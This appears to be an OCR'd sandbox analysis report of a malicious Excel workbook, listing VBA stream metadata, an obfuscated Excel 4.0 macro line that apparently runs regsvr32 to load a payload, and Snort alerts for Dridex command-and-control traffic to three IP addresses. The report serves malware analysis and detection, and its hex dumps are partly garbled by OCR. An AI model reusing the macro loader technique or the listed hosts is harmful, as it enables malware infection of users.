2.68720470607

False

00 02 70 00 31 82 fa 00 00 00 00 00 18 00 00 00 02 00 00 00 08 00 00 00 10 00 00 00 04 00
00 00 08 00 00 00 02 00 00 00 08 00 00 00 84 00 00 00 84 00 00 00 05 00 00 80 50 61 67 65
31 00 00 00 05 00 00 80 50 61 67 65 32 00 00 00 00 00 00 00 00 00 00 00 04 00 00 80 54 61
62 33 04 00 00 80 54 61 62 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 18 00
35 00 00 00 07 00 00 80

MBD00102510/x
data

48
1.42267983198
False

00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 Oc 00 06 00
00 00 02 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 55702

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Workbook

Applesoft BASIC program data, first line number 16
55702

5.35171514759

True

.......................... W.p....
ThisWorkbook......................
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General

Data Raw: 09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 el 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Stream Path: _VBA_PROJECT_CURI/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 550

General

Stream Path: _VBA_PROJECT_CUR/PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 550

Entropy: 5.28107922141

Base64 Encoded: True

Data ASCII: ID="{4934EDC8-1B93-45BC-B690-DBB29D5C1473}"..Docum
ent=ThisWorkbook/&H00000000..Document=Sheetl/&H0000
0000..Module=Modulel..Name="VBAProject"..HelpContextlD
="0"..VersionCompatible32="393222000"..CMG="EEEC1D31
E5F1D7F5D7F5D7F5D7F5".. DPB="DCDE2F3FF32CF42CF42
cr

Data Raw: 49 44 3d 22 7b 34 39 33 34 45 44 43 38 2d 31 42 39 33 2d 34 35 42 43 2d 42 36 39 30 2d 44

42 42 3239 44 3543 31 34 37 33 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 44 6f 63 75 6d 65 6e 74 3d 53 68 65
65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 4d 6f 64 75 6¢ 65 31 0d
Oa 4e 61 6d 65 3d

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 86

General

Stream Path: _VBA_PROJECT_CUR/PROJECTwm

File Type: data

Stream Size: 86

Entropy: 3.24455457963

Base64 Encoded: False

Data ASCII: ThisWorkbook.T.h.i.s.W.o.r.k.b.o.o.k...Sheetl.S.h.e.e.t.1..
.Modulel.M.o.d.u.l.e.1.....

Data Raw: 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00

6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d
6f 64 75 6¢ 65 31 00 4d 00 6f 00 64 00 75 00 6¢ 00 65 00 31 00 00 00 00 00

Stream Path: _VBA_PROJECT_CURIVBA/ _VBA_PROJECT, File Type: data, Stream Size: 3574

General

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT

File Type: data

Stream Size: 3574

Entropy: 4.45079869926

Base64 Encoded: False

Data ASCII: B .*\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\\.
M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.V.B.A.\.V.B.A.7...1.\.V.B.E.
7.

Data Raw: cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00

05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CURIVBA/__SRP_0, File Type: data, Stream Size: 2060

General

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0

File Type: data

Stream Size: 2060

Entropy: 3.45011283232

Base64 Encoded: False

Data ASCII: e r
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General

Data Raw:

93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 02
00 00 00 00 00 01 00 02 00 02 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05
00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00
00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00
00 00 7e 02 00 00 00

Stream Path: _VBA_PROJECT_CURIVBA/__SRP_1, File Type: data, Stream Size: 187

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

_VBA_PROJECT_CUR/VBA/__SRP_1
data

187

1.91493173134

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
00 00 ff ff f ff ff ff ff ff ff ff ff ff ff ff f ff ff ff ff ff OO 00 00 0O ff ff f ff ff f ff ff f ff ff ff ff ff f ff 11 00
00 00 00 00 00 00 00 00 03 00 02 00 00 00 00 00 00 08 02 00 00 00 00 00

Stream Path: _VBA_PROJECT_CURIVBA/__SRP_2, File Type: data, Stream Size: 363

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

_VBA_PROJECT_CUR/VBA/__SRP_2
data

363

2.21122978445

False

7255 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00
00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00
10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff

Stream Path: _VBA_PROJECT_CURIVBA/__SRP_3, File Type: data, Stream Size: 398

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: _VBA_PROJECT_CURIVBAIdir, File Type: data, Stream Size: 820

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:
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_VBA_PROJECT_CUR/VBA/__SRP_3
data

398

2.07709195049

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
02 00 ff ff ff ff ff f ff ff f ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00
00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00O

_VBA_PROJECT_CUR/VBA/dir

data

820

6.49145935167

True

0L 0*..... p..H..... d........ VBAProje.ct.. 4. @..j...=....r
........... a.....J<.....r.stdole>...s.t.d.o..l.e...h.% ... *\G{00.
020430-..... C...... 004.6}#2.0#0.#C:\Wind.ows\Syst em32\\.

e2..tIb#OLE .Automati.on
F8Do04C.-

...EOffDic.EO.f..i..c.E....... E.2D
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General

Data Raw: 01 30 b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4
04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 Oa
3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 09 a2 eb 61 05 94 00 Oc 02 4a 3c 02 Oa 16 00
01 72 80 73 74 64 6f 6¢ 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6¢ 00 65 00 Od 00 68 00
2502 5e 00 03 2a 5¢ 47

Macro 4.0 Code

CALL(wegb&00, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, vO&"p"&w00&"n", "r"&w00&"gsvr'&o0, " -s "&bb&abé&ba, 0, 0)

"=CALL(wegb&00,"S""&ohgdfww&"'A"™,i0&i0&""CCCC""&i0,0,v0&" p""&W00&" n"™" " r""&w00& " "gsvr''&00," -s ""&bb&ab&ba,0,0)"'=RETURN()

Network Behavior

Snort IDS Alerts

Source Dest
Timestamp Protocol SID Message Port Port Source IP Dest IP
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49166 77.220.64.37 192.168.2.22
07:39:50.885082
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49168 80.86.91.27  192.168.2.22
07:39:54.260102
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49169 5.100.228.233 192.168.2.22
07:39:54.832983
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49169 5.100.228.233 192.168.2.22
07:39:54.832983
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49171 77.220.64.37 192.168.2.22
07:39:55.937339
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49172 80.86.91.27  192.168.2.22
07:39:56.456760
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49173 5.100.228.233 192.168.2.22
07:39:56.959729
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49173 5.100.228.233 192.168.2.22
07:39:56.959729
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49175 77.220.64.37 192.168.2.22
07:39:57.985172
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49176 80.86.91.27  192.168.2.22
07:39:58.507888
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49177 5.100.228.233 192.168.2.22
07:39:59.021977
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49177 5.100.228.233 192.168.2.22
07:39:59.021977
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49179 77.220.64.37 192.168.2.22
07:40:00.063389
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49180 80.86.91.27  192.168.2.22
07:40:00.568408
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49181 5.100.228.233 192.168.2.22
07:40:01.077106
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49181 5.100.228.233 192.168.2.22
07:40:01.077106
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49183 77.220.64.37 192.168.2.22
07:40:02.122035
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49184 80.86.91.27  192.168.2.22
07:40:02.638255
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49185 5.100.228.233 192.168.2.22
07:40:03.167707
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49185 5.100.228.233 192.168.2.22
07:40:03.167707
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49187 77.220.64.37 192.168.2.22
07:40:04.216497
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49188 80.86.91.27  192.168.2.22
07:40:04.735032
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49189 5.100.228.233 192.168.2.22
07:40:05.252447
01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49189 5.100.228.233 192.168.2.22
07:40:05.252447
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49191 77.220.64.37 192.168.2.22
07:40:06.290814
01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49192 80.86.91.27  192.168.2.22
07:40:06.806955
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01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49193 5.100.228.233 192.168.2.22
07:40:07.313185

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49193 5.100.228.233 192.168.2.22
07:40:07.313185

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49195 77.220.64.37 192.168.2.22
07:40:08.344389

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49196 80.86.91.27  192.168.2.22
07:40:08.889039

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49197 5.100.228.233 192.168.2.22
07:40:09.564984

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49197 5.100.228.233 192.168.2.22
07:40:09.564984

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49199  77.220.64.37 192.168.2.22
07:40:11.713544

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49200 80.86.91.27  192.168.2.22
07:40:12.225540

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49201 5.100.228.233 192.168.2.22
07:40:12.731816

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49201 5.100.228.233 192.168.2.22
07:40:12.731816

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49203  77.220.64.37 192.168.2.22
07:40:13.772564

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49204 80.86.91.27  192.168.2.22
07:40:14.296498

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49205 5.100.228.233 192.168.2.22
07:40:14.799192

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49205 5.100.228.233 192.168.2.22
07:40:14.799192

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49207  77.220.64.37 192.168.2.22
07:40:15.832708

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49208 80.86.91.27  192.168.2.22
07:40:16.342420

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49209 5.100.228.233 192.168.2.22
07:40:16.857184

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49209 5.100.228.233 192.168.2.22
07:40:16.857184

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49210 5.100.228.233 192.168.2.22
07:40:17.058584

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49210 5.100.228.233 192.168.2.22
07:40:17.058584

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49212  77.220.64.37 192.168.2.22
07:40:18.097916

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49213 80.86.91.27  192.168.2.22
07:40:18.603747

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49214 5.100.228.233 192.168.2.22
07:40:19.114602

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49214 5.100.228.233 192.168.2.22
07:40:19.114602

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49216 77.220.64.37 192.168.2.22
07:40:20.146485

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49217 80.86.91.27  192.168.2.22
07:40:20.671722

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49218 5.100.228.233 192.168.2.22
07:40:21.196019

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49218 5.100.228.233 192.168.2.22
07:40:21.196019

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49220 77.220.64.37 192.168.2.22
07:40:22.234646

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49221 80.86.91.27  192.168.2.22
07:40:22.753345

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49222 5.100.228.233 192.168.2.22
07:40:23.278831

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49222 5.100.228.233 192.168.2.22
07:40:23.278831

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49224 77.220.64.37 192.168.2.22
07:40:24.288884

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49225 80.86.91.27  192.168.2.22
07:40:24.802850

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49226 5.100.228.233 192.168.2.22
07:40:25.323114

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49226 5.100.228.233 192.168.2.22
07:40:25.323114

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49228  77.220.64.37 192.168.2.22
07:40:26.363502
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01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49229 80.86.91.27  192.168.2.22
07:40:27.014090

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49230 5.100.228.233 192.168.2.22
07:40:27.920636

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49230 5.100.228.233 192.168.2.22
07:40:27.920636

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49233  77.220.64.37 192.168.2.22
07:40:30.113730

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49234 80.86.91.27  192.168.2.22
07:40:30.636405

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49236 5.100.228.233 192.168.2.22
07:40:31.158374

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49236 5.100.228.233 192.168.2.22
07:40:31.158374

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49238  77.220.64.37 192.168.2.22
07:40:32.462321

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49239 80.86.91.27  192.168.2.22
07:40:32.977618

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49240 5.100.228.233 192.168.2.22
07:40:33.493844

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49240 5.100.228.233 192.168.2.22
07:40:33.493844

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49242  77.220.64.37 192.168.2.22
07:40:34.535433

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49243 80.86.91.27  192.168.2.22
07:40:35.049541

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49244 5.100.228.233 192.168.2.22
07:40:35.587796

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49244 5.100.228.233 192.168.2.22
07:40:35.587796

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49246 77.220.64.37 192.168.2.22
07:40:36.631721

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49247 80.86.91.27  192.168.2.22
07:40:37.151091

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49248 5.100.228.233 192.168.2.22
07:40:37.679406

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49248 5.100.228.233 192.168.2.22
07:40:37.679406

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49250 77.220.64.37 192.168.2.22
07:40:38.685161

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49251 80.86.91.27  192.168.2.22
07:40:39.195872

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49252 5.100.228.233 192.168.2.22
07:40:39.697057

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49252 5.100.228.233 192.168.2.22
07:40:39.697057

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49254  77.220.64.37 192.168.2.22
07:40:40.730827

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49255 80.86.91.27  192.168.2.22
07:40:41.245867

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49256 5.100.228.233 192.168.2.22
07:40:41.750896

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49256 5.100.228.233 192.168.2.22
07:40:41.750896

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49258  77.220.64.37 192.168.2.22
07:40:42.774067

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49259 80.86.91.27  192.168.2.22
07:40:43.296962

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49260 5.100.228.233 192.168.2.22
07:40:43.811516

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49260 5.100.228.233 192.168.2.22
07:40:43.811516

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49262 77.220.64.37 192.168.2.22
07:40:44.976768

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49263 80.86.91.27  192.168.2.22
07:40:45.829839

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49264 5.100.228.233 192.168.2.22
07:40:46.827773

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49264 5.100.228.233 192.168.2.22
07:40:46.827773

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49266 77.220.64.37 192.168.2.22
07:40:47.942837

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49267 80.86.91.27  192.168.2.22
07:40:48.445080
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01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49268 5.100.228.233 192.168.2.22
07:40:48.960677

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49268 5.100.228.233 192.168.2.22
07:40:48.960677

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49270 77.220.64.37 192.168.2.22
07:40:50.002373

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49271 80.86.91.27  192.168.2.22
07:40:50.526520

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49272 5.100.228.233 192.168.2.22
07:40:51.054206

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49272 5.100.228.233 192.168.2.22
07:40:51.054206

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49274 77.220.64.37 192.168.2.22
07:40:52.101597

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49275 80.86.91.27  192.168.2.22
07:40:52.613841

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49276 5.100.228.233 192.168.2.22
07:40:53.144173

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49276 5.100.228.233 192.168.2.22
07:40:53.144173

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49278  77.220.64.37 192.168.2.22
07:40:54.177886

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49279 80.86.91.27  192.168.2.22
07:40:54.688968

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49280 5.100.228.233 192.168.2.22
07:40:55.201923

01/12/21- TCP 2022535 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3389 49280 5.100.228.233 192.168.2.22
07:40:55.201923

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 443 49282 77.220.64.37 192.168.2.22
07:40:56.221548

01/12/21- TCP 2023476 ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex) 3308 49283 80.86.91.27  192.168.2.22
07:40:56.751571

